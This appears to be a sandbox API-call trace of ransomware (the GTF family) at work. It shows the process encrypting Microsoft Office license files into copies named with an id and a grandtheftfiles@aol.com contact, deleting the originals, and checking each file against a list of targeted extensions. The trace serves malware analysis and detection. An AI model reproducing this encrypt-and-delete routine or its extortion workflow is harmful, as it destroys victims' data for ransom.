	[0178.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.754] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11219) returned 1
	[0178.754] CloseHandle (hObject=0x548) returned 1
	[0178.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0179.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.178] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.178] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0179.179] GetLastError () returned 0x0
	[0179.179] ReadFile (in: hFile=0x560, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2bd3, lpOverlapped=0x0) returned 1
	[0179.214] WriteFile (in: hFile=0x42c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0179.215] ReadFile (in: hFile=0x560, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.215] WriteFile (in: hFile=0x42c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x128, lpOverlapped=0x0) returned 1
	[0179.216] SetEndOfFile (hFile=0x42c) returned 1
	[0179.216] CloseHandle (hObject=0x42c) returned 1
	[0179.216] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.216] SetEndOfFile (hFile=0x560) returned 1
	[0179.218] CloseHandle (hObject=0x560) returned 1
	[0179.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0179.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0179.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0179.219] lstrlenW (lpString=".doc") returned 4
	[0179.219] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.219] lstrlenW (lpString=".docx") returned 5
	[0179.219] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.219] lstrlenW (lpString=".pdf") returned 4
	[0179.219] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.219] lstrlenW (lpString=".xls") returned 4
	[0179.220] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.220] lstrlenW (lpString=".xlsx") returned 5
	[0179.220] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.220] lstrlenW (lpString=".ppt") returned 4
	[0179.220] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0179.220] lstrlenW (lpString=".zip") returned 4
	[0179.220] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.220] lstrlenW (lpString=".rar") returned 4
	[0179.220] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.220] lstrlenW (lpString=".bz2") returned 4
	[0179.220] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.220] lstrlenW (lpString=".7z") returned 3
	[0179.220] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0179.220] lstrlenW (lpString=".dbf") returned 4
	[0179.220] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0179.220] lstrlenW (lpString=".1cd") returned 4
	[0179.222] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0179.222] lstrlenW (lpString=".jpg") returned 4
	[0179.222] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0179.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0179.222] lstrlenW (lpString=".doc") returned 4
	[0179.222] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.222] lstrlenW (lpString=".docx") returned 5
	[0179.222] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.222] lstrlenW (lpString=".pdf") returned 4
	[0179.222] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.222] lstrlenW (lpString=".xls") returned 4
	[0179.222] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.222] lstrlenW (lpString=".xlsx") returned 5
	[0179.222] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.222] lstrlenW (lpString=".ppt") returned 4
	[0179.222] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0179.222] lstrlenW (lpString=".zip") returned 4
	[0179.222] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.222] lstrlenW (lpString=".rar") returned 4
	[0179.223] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.223] lstrlenW (lpString=".bz2") returned 4
	[0179.223] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.223] lstrlenW (lpString=".7z") returned 3
	[0179.223] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0179.223] lstrlenW (lpString=".dbf") returned 4
	[0179.223] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0179.223] lstrlenW (lpString=".1cd") returned 4
	[0179.223] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0179.223] lstrlenW (lpString=".jpg") returned 4
	[0179.223] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.223] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.223] lstrlenW (lpString="O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 41
	[0179.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.224] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11651) returned 1
	[0179.224] CloseHandle (hObject=0x560) returned 1
	[0179.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 0x220
	[0179.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.224] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.224] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0179.225] GetLastError () returned 0x0
	[0179.225] ReadFile (in: hFile=0x560, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0179.252] WriteFile (in: hFile=0x42c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0179.253] ReadFile (in: hFile=0x560, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.253] WriteFile (in: hFile=0x42c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x126, lpOverlapped=0x0) returned 1
	[0179.254] SetEndOfFile (hFile=0x42c) returned 1
	[0179.254] CloseHandle (hObject=0x42c) returned 1
	[0179.254] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.254] SetEndOfFile (hFile=0x560) returned 1
	[0179.256] CloseHandle (hObject=0x560) returned 1
	[0179.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 1
	[0179.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0179.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0179.258] lstrlenW (lpString=".doc") returned 4
	[0179.258] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.258] lstrlenW (lpString=".docx") returned 5
	[0179.258] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.258] lstrlenW (lpString=".pdf") returned 4
	[0179.258] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.258] lstrlenW (lpString=".xls") returned 4
	[0179.258] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.258] lstrlenW (lpString=".xlsx") returned 5
	[0179.258] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.258] lstrlenW (lpString=".ppt") returned 4
	[0179.258] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0179.258] lstrlenW (lpString=".zip") returned 4
	[0179.258] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.258] lstrlenW (lpString=".rar") returned 4
	[0179.258] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.258] lstrlenW (lpString=".bz2") returned 4
	[0179.258] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.258] lstrlenW (lpString=".7z") returned 3
	[0179.258] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0179.258] lstrlenW (lpString=".dbf") returned 4
	[0179.258] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0179.258] lstrlenW (lpString=".1cd") returned 4
	[0179.258] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0179.258] lstrlenW (lpString=".jpg") returned 4
	[0179.258] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0179.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0179.258] lstrlenW (lpString=".doc") returned 4
	[0179.259] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.259] lstrlenW (lpString=".docx") returned 5
	[0179.259] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.259] lstrlenW (lpString=".pdf") returned 4
	[0179.259] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.259] lstrlenW (lpString=".xls") returned 4
	[0179.259] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.259] lstrlenW (lpString=".xlsx") returned 5
	[0179.259] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.259] lstrlenW (lpString=".ppt") returned 4
	[0179.259] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0179.259] lstrlenW (lpString=".zip") returned 4
	[0179.259] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.259] lstrlenW (lpString=".rar") returned 4
	[0179.259] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.259] lstrlenW (lpString=".bz2") returned 4
	[0179.259] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.259] lstrlenW (lpString=".7z") returned 3
	[0179.259] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0179.259] lstrlenW (lpString=".dbf") returned 4
	[0179.259] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0179.259] lstrlenW (lpString=".1cd") returned 4
	[0179.259] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0179.259] lstrlenW (lpString=".jpg") returned 4
	[0179.259] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.259] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.259] lstrlenW (lpString="O365HomePremR_Subscription4-ppd.xrm-ms") returned 38
	[0179.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.260] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=26541) returned 1
	[0179.260] CloseHandle (hObject=0x560) returned 1
	[0179.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 0x220
	[0179.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0179.261] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.261] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0179.261] GetLastError () returned 0x0
	[0179.261] ReadFile (in: hFile=0x560, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0179.294] WriteFile (in: hFile=0x42c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0179.295] ReadFile (in: hFile=0x560, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.295] WriteFile (in: hFile=0x42c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x120, lpOverlapped=0x0) returned 1
	[0179.295] SetEndOfFile (hFile=0x42c) returned 1
	[0179.322] CloseHandle (hObject=0x42c) returned 1
	[0179.328] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.328] SetEndOfFile (hFile=0x560) returned 1
	[0179.395] CloseHandle (hObject=0x560) returned 1
	[0179.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 1
	[0179.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0179.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0179.396] lstrlenW (lpString=".doc") returned 4
	[0179.396] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.396] lstrlenW (lpString=".docx") returned 5
	[0179.396] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.396] lstrlenW (lpString=".pdf") returned 4
	[0179.396] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.396] lstrlenW (lpString=".xls") returned 4
	[0179.396] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.396] lstrlenW (lpString=".xlsx") returned 5
	[0179.396] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.396] lstrlenW (lpString=".ppt") returned 4
	[0179.396] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0179.396] lstrlenW (lpString=".zip") returned 4
	[0179.396] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.396] lstrlenW (lpString=".rar") returned 4
	[0179.396] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.396] lstrlenW (lpString=".bz2") returned 4
	[0179.396] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.396] lstrlenW (lpString=".7z") returned 3
	[0179.396] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0179.396] lstrlenW (lpString=".dbf") returned 4
	[0179.396] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0179.396] lstrlenW (lpString=".1cd") returned 4
	[0179.396] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0179.396] lstrlenW (lpString=".jpg") returned 4
	[0179.396] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0179.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88
	[0179.397] lstrlenW (lpString=".doc") returned 4
	[0179.397] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.397] lstrlenW (lpString=".docx") returned 5
	[0179.397] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.397] lstrlenW (lpString=".pdf") returned 4
	[0179.397] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.397] lstrlenW (lpString=".xls") returned 4
	[0179.397] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.397] lstrlenW (lpString=".xlsx") returned 5
	[0179.397] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.397] lstrlenW (lpString=".ppt") returned 4
	[0179.397] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
